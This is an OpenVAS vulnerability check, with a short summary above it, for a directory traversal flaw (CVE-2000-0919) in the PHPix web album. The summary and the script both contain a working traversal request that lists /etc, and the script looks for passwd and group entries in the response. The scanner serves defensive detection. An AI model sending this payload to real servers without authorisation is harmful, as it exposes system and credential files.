PHPix program allows an attacker to read arbitrary files on the remote web server, prefixing the pathname of the file with …%2F…%2F…
Example:
GET /Album/?mode=album&album=…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc&dispsize=640&start=0
will return all the files that are nested within /etc directory.
# OpenVAS Vulnerability Test
# $Id: phpix.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: PHPix directory traversal vulnerability
#
# Authors:
# Zorgon <[email protected]>
#
# Copyright:
# Copyright (C) 2000 Zorgon <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "PHPix program allows an attacker to read arbitrary files on the remote web server, prefixing the pathname of the file with ..%2F..%2F..
Example:
GET /Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0
will return all the files that are nested within /etc directory.";
tag_solution = "Contact your vendor for the latest software release.";
if(description)
{
script_id(10574);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(1773);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2000-0919");
name = "PHPix directory traversal vulnerability";
script_name(name);
script_category(ACT_GATHER_INFO);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2000 Zorgon <[email protected]>");
family = "Web application abuses";
script_family(family);
script_dependencies("http_version.nasl");
script_require_ports("Services/www", 80);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(get_port_state(port))
{
buf = http_get(item:string("/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0"), port:port);
rep = http_keepalive_send_recv(port:port, data:buf);
if("Prev 20" >< rep)
{
if(("group" >< rep) && ("passwd" >< rep))
security_message(port);
}
}